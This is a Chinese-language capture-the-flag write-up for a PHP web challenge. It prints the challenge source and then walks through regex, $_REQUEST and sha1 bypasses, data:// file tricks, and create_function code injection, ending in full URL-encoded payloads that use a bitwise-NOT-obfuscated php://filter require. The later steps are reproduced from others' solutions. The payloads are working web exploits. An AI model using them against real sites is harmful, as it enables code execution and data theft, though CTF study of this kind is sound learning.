前言
额，题目是没有做出来，环境多少是有点问题吧，我这么菜只能敢怒不敢言了
至于什么问题后面我会提到，跟着大佬的思路也复现了一下
题目还是能学到很多
打开环境
界面还是挺帅的，哈哈哈，不浪费时间，
F12+base32新的页面1nD3x.php
代码审计
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Neeeeee! Good Job!
fxck you! I hate English!
题目的考点有点多，一个一个来
$_SERVER['QUERY_STRING']绕过
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i',
$_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
绕过之前先要知道$_SERVER['QUERY_STRING']是什么
简单来说就是？id=1&flag=2&name=3，?后面的所有的变量都属于$_SERVER['QUERY_STRING']
绕过也简单，只需URL编码一下，因为$_SERVER['QUERY_STRING']是不会URL解码的
$_GET['debu']绕过
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
要求$debu是aqua_is_cute开头和结尾，但又不能等于这个
这个也很好办，这里的正则是单行匹配，所以我们只需要加一个换行就行
$debu=aqua_is_cute%0a就行
$_REQUEST绕过
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
$_REQUEST接收请求可以是GET、POST、Cookie 等
但是当我们同时传入相同变量名的变量时，$_REQUEST是取谁的值呢
可以做个测试
<?php
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
echo $value;
} } ?>
看见了吧，POST传入相同的变量名的变量的值把GET传入的值给覆盖了
覆盖取决于php.ini中的variables_order的设置，默认顺序为：variables_order = “GPCS”
我们就可以利用这一点来绕过对字母的检测
只需要POST传入相同的变量名，然后覆盖掉，是数字或者直接留空都行
到这里就要吐槽一下了
题目中的这个点在这里一直过不去，一直都是显示 “fxck you! I hate English!”
麻了，我在本地试了好几次都行，问了师傅们也可以，但是现在就是不行
题目环境多少有点毛病，直接跳过，卡在这里了，但不妨碍继续分析
$file检测
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
这个也好办，要他们相等那就让他们相等
file=data://text/plain,debu_debu_aqua 就行了
sha1碰撞
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
这里也简单，可以用数组来直接绕过就行，当然也可以网上找一下别的值拿来用
shana[]=1&passwd[]=2
重点create_function()实现注入
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
在做题前先了解一下create_function()函数
create_function ( string $args , string $code ) : string
创建一个匿名函数，然后过程会找 eval 得到函数体，找不到就出错
<?php
$id = $_GET['id'];
$q = 'echo'.$id.'is'.$a.";";
$sy = create_function('$a',$q);
?>
create_function匿名函数就相当于
function demo($a){
echo $id.'is'.$a;
}
很明显，在构造函数时我们是可以做修改的
假如id=1;}phpinfo();/*会怎么样呢
本地测试一下
成功执行，原理很简单，就是构造函数时提前闭合了，/* 把后面的代码全部注释了，
因为前面说了 create_function 会去调用 eval，所以 phpinfo 可以被执行
function niming($a){
echo 1;} phpinfo();/*.'is'.$a;
}
回到题目
接下来的就是因为题目环境出问题，只能看大佬WP复现的过程了
include "flag.php";
$code('', $arg);
利用上面的匿名函数，我们就可以构造
flag[code]=create_function&flag[arg]=;}var_dump(get_defined_vars());/*
get_defined_vars()：
函数返回一个包含所有已定义变量列表的多维数组，这些变量包括环境变量、服务器变量和用户定义的变量
payload
URL编码后
?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};var_dump(get_defined_vars());//
URL编码前
?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute%0a&shana[]=1&passwd[]=2&&flag[code]=create_function&flag[arg]=};var_dump(get_defined_vars());//
真正的flag在 realfl4g.php 中
include被禁了，还可以用 require来包含
require(php://filter/convert.base64-encode/resource=rea1fl4g.php)
但是这里不能直接包含，因为源码中把flag给unset了
echo "咦，你居然找到我了？！不过看到这句话也不代表你就能拿到flag哦！";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{2622b627-3f03-4c10-9cdd-ba90b42de5e8}";
unset($rea1_f1114g);
大师傅们是取了个反来绕过的
<?php
$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);?>
require(~ %8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F)
最终的payload
URL编码后
?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};require(~ %8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F)
URL编码前
?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute%0a&shana[]=1&passwd[]=2&&flag[code]=create_function&flag[arg]=};require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F)
题目太++了，层层套娃